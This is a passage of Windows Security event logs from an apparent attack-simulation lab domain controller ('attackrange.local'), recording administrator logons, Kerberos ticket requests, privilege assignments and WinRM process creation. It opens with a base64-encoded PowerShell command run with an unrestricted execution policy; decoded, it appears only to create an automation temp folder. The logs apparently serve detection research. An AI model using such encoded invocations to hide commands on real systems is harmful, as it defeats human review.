UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBBAGsAQQBIAFEAQQBiAFEAQgB3AEEARgA4AEEAYwBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBEADAAQQBJAEEAQgBiAEEARgBNAEEAZQBRAEIAegBBAEgAUQBBAFoAUQBCAHQAQQBDADQAQQBSAFEAQgB1AEEASABZAEEAYQBRAEIAeQBBAEcAOABBAGIAZwBCAHQAQQBHAFUAQQBiAGcAQgAwAEEARgAwAEEATwBnAEEANgBBAEUAVQBBAGUAQQBCAHcAQQBHAEUAQQBiAGcAQgBrAEEARQBVAEEAYgBnAEIAMgBBAEcAawBBAGMAZwBCAHYAQQBHADQAQQBiAFEAQgBsAEEARwA0AEEAZABBAEIAVwBBAEcARQBBAGMAZwBCAHAAQQBHAEUAQQBZAGcAQgBzAEEARwBVAEEAYwB3AEEAbwBBAEMAYwBBAEoAUQBCAFUAQQBFAFUAQQBUAFEAQgBRAEEAQwBVAEEASgB3AEEAcABBAEEAbwBBAEoAQQBCADAAQQBHADAAQQBjAEEAQQBnAEEARAAwAEEASQBBAEIATwBBAEcAVQBBAGQAdwBBAHQAQQBFAGsAQQBkAEEAQgBsAEEARwAwAEEASQBBAEEAdABBAEYAUQBBAGUAUQBCAHcAQQBHAFUAQQBJAEEAQgBFAEEARwBrAEEAYwBnAEIAbABBAEcATQBBAGQAQQBCAHYAQQBIAEkAQQBlAFEAQQBnAEEAQwAwAEEAVQBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBDAFEAQQBkAEEAQgB0AEEASABBAEEAWAB3AEIAdwBBAEcARQBBAGQAQQBCAG8AQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAEoAdwBCAGgAQQBHADQAQQBjAHcAQgBwAEEARwBJAEEAYgBBAEIAbABBAEMAMABBAGQAQQBCAHQAQQBIAEEAQQBMAFEAQQB4AEEARABZAEEATQBRAEEAMABBAEQAWQBBAE0AQQBBAHkAQQBEAFUAQQBOAFEAQQAzAEEAQwA0AEEATgB3AEEANQBBAEQATQBBAE4AUQBBADEAQQBEAEUAQQBNAGcAQQB0AEEARABnAEEATQBBAEEAMABBAEQARQBBAE0AQQBBAHoAQQBEAE0AQQBOAEEAQQAyAEEARABnAEEATwBRAEEANQBBAEQAVQBBAE4AUQBBAG4AQQBBAG8AQQBWAHcAQgB5AEEARwBrAEEAZABBAEIAbABBAEMAMABBAFQAdwBCADEAQQBIAFEAQQBjAEEAQgAxAEEASABRAEEASQBBAEEAdABBAEUAawBBAGIAZwBCAHcAQQBIAFUAQQBkAEEAQgBQAEEARwBJAEEAYQBnAEIAbABBAEcATQBBAGQAQQBBAGcAQQBDAFEAQQBkAEEAQgB0AEEASABBAEEATABnAEIARwBBAEgAVQBBAGIAQQBCAHMAQQBFADQAQQBZAFEAQgB0AEEARwBVAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEQAOABBAEsAUQBBAGcAQQBIAHMAQQBJAEEAQgBKAEEARwBZAEEASQBBAEEAbwBBAEUAYwBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBUAEEAQgBCAEEARgBNAEEAVgBBAEIARgBBAEYAZwBBAFMAUQBCAFUAQQBFAE0AQQBUAHcAQgBFAEEARQBVAEEASQBBAEEAdABBAEUAVQBBAGMAZwBCAHkAQQBHADgAQQBjAGcAQgBCAEEARwBNAEEAZABBAEIAcABBAEcAOABBAGIAZwBBAGcAQQBGAE0AQQBhAFEAQgBzAEEARwBVAEEAYgBnAEIAMABBAEcAdwBBAGUAUQBCAEQAQQBHADgAQQBiAGcAQgAwAEEARwBrAEEAYgBnAEIAMQBBAEcAVQBBAEsAUQBBAGcAQQBIAHMAQQBJAEEAQgBsAEEASABnAEEAYQBRAEIAMABBAEMAQQBBAEoAQQBCAE0AQQBFAEUAQQBVAHcAQgBVAEEARQBVAEEAVwBBAEIASgBBAEYAUQBBAFEAdwBCAFAAQQBFAFEAQQBSAFEAQQBnAEEASAAwAEEASQBBAEIARgBBAEcAdwBBAGMAdwBCAGwAQQBDAEEAQQBlAHcAQQBnAEEARwBVAEEAZQBBAEIAcABBAEgAUQBBAEkAQQBBAHgAQQBDAEEAQQBmAFEAQQBnAEEASAAwAEEA - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250793 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11AFAB - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250792 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11AFAB - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {823B3435-022A-717C-CC41-75E906A97B98} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250791 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {823B3435-022A-717C-CC41-75E906A97B98} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250790 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {823B3435-022A-717C-CC41-75E906A97B98} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250789 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250788 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11AD5B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1198 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1180 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250787 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11AD5B - -Process Information: - New Process ID: 0x1180 - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1e0 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250786 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11AD5B - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250785 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11AD5B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {823B3435-022A-717C-CC41-75E906A97B98} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250784 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {823B3435-022A-717C-CC41-75E906A97B98} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250783 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {823B3435-022A-717C-CC41-75E906A97B98} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250782 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250781 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11AD26 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250780 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x118B75 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250779 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x118DC5 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250778 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11AD26 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250777 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11AD26 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {823B3435-022A-717C-CC41-75E906A97B98} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250776 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {823B3435-022A-717C-CC41-75E906A97B98} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250775 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {823B3435-022A-717C-CC41-75E906A97B98} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250774 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250773 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11AD0A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250772 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11AD0A - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250771 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11AD0A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {823B3435-022A-717C-CC41-75E906A97B98} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. 